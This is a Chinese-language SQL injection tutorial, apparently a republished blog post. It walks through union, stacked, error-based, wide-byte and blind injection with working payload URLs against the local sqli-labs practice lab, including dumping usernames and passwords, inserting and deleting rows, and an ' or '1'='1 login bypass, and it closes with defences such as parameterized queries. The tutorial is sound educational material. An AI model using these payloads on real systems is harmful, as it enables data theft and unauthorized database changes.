Web安全之Sql注入漏洞
Posted Andrewlong_lhl
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web安全之Sql注入漏洞相关的知识,希望对你有一定的参考价值。
- Sql注入漏洞
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。 - Sql查询过程
常见分类
根据注入点类型分类:1.数字型注入 2.字符型注入
根据数据传递的方式分类:1.get 注入 2.post 注入 3.head 头注入
根据执行效果分类:1.有回显的注入 2.盲注 3.报错注入 4.堆叠注入 5.宽字节注入
Oracle:
https://www.cnblogs.com/garyzhuang/p/9670411.html
SQL server
https://blog.csdn.net/wujakf/article/details/78331663
1.原理
1.1.成因
sql 注入的根本原因就是将 SQL 代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的 SQL 服务器加以 解析并执行。
web 应用程序对用户输入的数据没有进行过滤, 或者过滤不严,就会把 SQL 语句带进数据库进行查询。
1.2.注入流程
1.3.简单检测
利用 单引号 或者 双引号 或者 )或者 \\ 来检测是否存在注入,如果爆出 sql 错误,或者出现不回显 90% 可能存在注入。
判断依据:
根据客户端返回的 结果来判断提交的 测试语句是否成功 被数据库引擎执行, 如果测试语句被执行了,说明存在注入漏洞。
1.4.注入位置
- 最普遍的注入漏洞是由于参数值过滤不严导致的。
- 参数名、目录名、文件名等注入漏洞通常存在于有网站路由的程序中。
1.5.Information_schema
注意:
Mysql5.0以上,Mysql自带了 Information_schema这个数据库 ,5.0以下是没有的
重点:
Information_schema.tables 所有表名 information_schema.columns 所有列名
常见查询语句:
select database(); 当前所在的数据库
select table_name from information_schema.tables where table_schema=database() 查询当前数据库的表名
select column_name from information_schema.columns where table_name='oc_user'
2.利用
2.1.sql注入基础
2.1.1.字符型注入
?id=1’ and ‘1’=’1 //返回正常页面
?id=1’ and ‘1’=’2 //页面返回异常
?id=1 and 1=1 //页面返回正常
?id=1 and 1=2 //页面返回正常
2.1.2.数字型注入
?id=1 and 1=1 //页面返回正常
?id=1 and 1=2 //页面返回异常
?id=2-1和?id=1页面返回结果相同
2.1.3.注入点类型判断
?id=1 and 1=2
在逻辑运算中,上式为永假。
若返回异常则为数字型注入
若返回正常则为字符型注入
?id=1
?id=1a
字符型注入上式返回相同页面说明当查询到时,便不再继续查。
2.2.联合查询注入
前提条件:有回显
2.2.1.注入基础
常用语句
order by 排序
union select 联合查询
union all select 联合查询输出重复数据
-- (--空格):注释符
%09 TAB键(水平)、 **%0a 新建一行**、 %0c 新的一页、 %0d return功能、 %0b TAB键(垂直)、%a0 空格
常用函数
concat 用法
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,...)
concat_ws 用法
1、功能:和 concat() 一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符 (concat_ws 就是 concat with separator)
2、语法:concat_ws(separator, str1, str2, ...)
group_concat 用法
1、功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ' 分隔符'] )
注意:
若group_concat查询的是一个值时,会自动用逗号分开。若查询为多值时则需要用逗号隔开。
group_concat(username,',',password)或者group_concat(username,0x7e,password) 0x7e是~的十六进制 0x23是#的十六进制
2.2.1.注入流程
#第一步:找到数据库
http://127.0.0.1/sqli-labs/Less-3/?id=1
#第二步:求闭合字符
http://127.0.0.1/sqli-labs/Less-3/?id=1') 未注释报错
http://127.0.0.1/sqli-labs/Less-3/?id=') and 1=1 -- - 注释后不报错
说明闭合字符为‘)
#第三步:求列数
http://127.0.0.1/sqli-labs/Less-3/?id=1’) order by 3 -- -返回正常
http://127.0.0.1/sqli-labs/Less-3/?id=1‘) order by 4 -- -返回异常
说明列数为3
#第四步:求显示位
http://127.0.0.1/sqli-labs/Less-3/?id=1’) union select 1,2,3 -- - 返回为id为1的数据
由于web显示位的问题,需要在前面查询一个不存在的值 可以是负值,也可以是逻辑永假。
http://127.0.0.1/sqli-labs/Less-3/?id=-1’) union select 1,2,3 -- -返回为联合查询的数据
判断出回显位为2,3
#第五步:爆数据库名
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),database() -- -
#第六步:爆表名
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database() -- -
#第七步:爆列名
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(column_name)from information_schema.columns where table_schema=database() -- -
#第八步:爆字段
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(id,0x23,username,0x23,password)from users -- -
2.3.堆叠注入
前提条件:知道数据库表明列明数据名
mysql、sqlserver、oracle、postgresql数据库中,除oracle数据库不能使用堆叠查询语法外,其他关系型数据库都能符合语法。
2.3.1.注入基础
sql 语句以 ; 为分隔符,可以同 时执行很多 sql 语句.
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如php为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
相关函数:
mysql_query() 向与指定的 link_identifier 关联的服务器中的当前活动数据库发送一条查询 (不支持多条查询)
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
利用方法:
堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入
找闭合符号,然后在语句后面加分号(;)然后进行任意的语句调用(增删改查)。
增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
#注释符的使用
GET型sql注入中必须进行编码成%23,POST型sql注入中不能使用%23
GET请求只能进行url编码,而POST支持多种编码方式。
2.3.2.GET型堆叠注入
#第一步:求闭合符号
http://127.0.0.1/sqli-labs/Less-38//?id=1'-- -
#第二步:加分号后,增删改查 前提要知道表明列明
http://127.0.0.1/sqli-labs/Less-38//?id=1'; insert into users (id,username,password) values (38,’lhl‘,123) -- -
向users表中插入一组数据
http://127.0.0.1/sqli-labs/Less-38//?id=38
插入成功
http://127.0.0.1/sqli-labs/Less-38//?id=1'; delete from users where id=38 -- -
删除上面插入的id为38的一组数据
http://127.0.0.1/sqli-labs/Less-38//?id=38
再查询,返回异常,证明已经删除
2.3.3.POST型堆叠注入
#第一步:找注入点
http://127.0.0.1/sqli-labs/Less-42/
lhl
' or '1'='1
利用上式注入成功绕过,发现password存在注入点
#第二步:插入用户
lhl
';insert into users values('42','lhl','123')#
插入成功
#第三步:用插入的用户密码登录
lhl
123
登陆成功
2.4.报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的 在遇到有报错回显的时候,但是没有数据回显的情况下可以利用。
2.4.1.注入基础
报错诸注入函数:
1.floor() :向下取整
2.extractvalue():对XML文档进行查询的函数,当参数的格式不正确 而产生的错误,会返回参数的信息 3.updatexml():更新 xml 文档的函数,原理跟 extracvalue 一样。
4.exp():以e为底的指数函数
5.rand()+group()+count()
参考文档:
https://xz.aliyun.com/t/7169#toc-19
2.4.2.Xpath语法
updatexml()
作用:使用不同的xml标记匹配和替换xml块的函数。
函数语法:updatexml(XML_document, XPath_string, new_value);
适用版本: 5.1.5+
payload: and updatexml(1,concat(0x7e,(select user()),0x7e),1) 前后添加 ~ 使其不符合 xpath 格式从而报错
extractvalue()
作用:从目标XML中返回包含所查询值的字符串
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+ 利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数。
xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用。
xpath只会报错32个字符,所以要用到substr。
2.4.5.注入流程
#爆库名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
#爆表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
#爆列名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
数据不全可在后面加where column_name not in
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' where column_name not in('id','password')))) --+
#爆数据
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
数据不全可在后面加where username not in
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (('Dumb','Angelina'))))--+
2.5.宽字节注入
利用addslashes
设置了gbk编码
2.5.1.注入基础
1.现在大多数的网站对于SQL注入都做了一定的防御方法,例如使用一些 Mysql中转义的函数addslashes,mysql_real_escape_string, mysql_escape_string等,还有一种是配magic_quote_gpc,不过PHP高版本已经移除此功能。
其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\\”进行转义。
2.网站开启了magic_quote_gpc,或者使用了上面的转义函数 数据库设置成gbk编码(不是html编码)
3.在编码中,gbk编码占用2个字符,ascii占用1个字符,攻击者恶意构造,把 ascll字符吃掉,就能进行下一步攻击。
2.5.2.注入流程
单引号转义
汉字的asicc编码第一个字节大于127
http://ascii.911cha.com/
在单引号前面加大于127的ASicc码。因为是GBK编码,其与\\会组成一个汉字。转义失效,单引号逃逸。
闭合成功,之后可以利用联合查询进行注入
主要作用:
与\\组成汉字使得单引号逃逸出来不能被转义。进而进行闭合,深度利用。
2.6.盲注
在Sql注入攻击过程中,服务器关闭了错误的回显。我们单纯通过服务器返回内容的变化来判断是否存在sql注入和利用的方式。
2.6.1.注入基础
流程:
1、判断是否存在注入(单/双引号判断)
2、获取数据库长度
3、逐字猜解数据库名
4、猜解表名数量
5、猜解某个表名长度
6、逐字猜解表名
7、猜解列名数量
8、猜解某个列名长度
9、逐字猜解列名
10、判断数据数量
11、猜解某条数据长度
12、逐位猜解数据
相关函数:
length():返回字符串的长度
limit a,b:后缀两个参数(/参数必须是一个整数常量/),其中 a 是 指记录开始的偏移量,b 是指从第 a+1 条开始,取 b 条记录。
substr():截取字符串
ascii():返回字符的 ascii 码
left(name, 4):返回 name 的左边前四个字符
right(name, 2):返回 name 的右边前二个字符
count():返回数组中元素的数目
2.6.2.布尔盲注
通过页面的返回内容是否正确,来验证是否存在注入。
还是练题吧(😉
2.6.3.时间盲注
通过sql语句处理时间的不同来判断石是否存在注入。
可以利用benchmark,sleep等造成延时效果的和函数,也可以通过构造大笛卡尔积的联合查询表来达到延时的目的。
相关函数:
sleep(n):将程序挂起一段时间 n 为 n 秒
if(expr1, expr2, expr3):判断语句 如果第一个语句正确就执行第二个语 句如果错误执行第三个语句.
判断 payload:and if('s'='s',sleep(5),1) --+
依据:正确会延迟,错误不会延迟。
3.危害
绕过登录验证:使用万能密码登录网站后台等。
获取敏感数据:获取网站管理员帐号、密码等。
文件系统操作:列目录,读取、写入文件等。
注册表操作:读取、写入、删除注册表等。
执行系统命令:远程执行命令。
4.防御
- 使用安全的API。
- 对输入的特殊字符进行Escape转义处理。
- 使用白名单来规范化输入验证方法。
- 对客户端输入进行控制,不允许输入Sql注入相关的特殊字符。
- 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
- 开发人员规范编码,字符集。
参数化查询防止SQL注入:
原理:使用参数化查询数据湖库,服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数执行。即语句是语句,参数是参数参数的值并不是语句的一部分,数据库只按语句的语义跑。
以上是关于Web安全之Sql注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章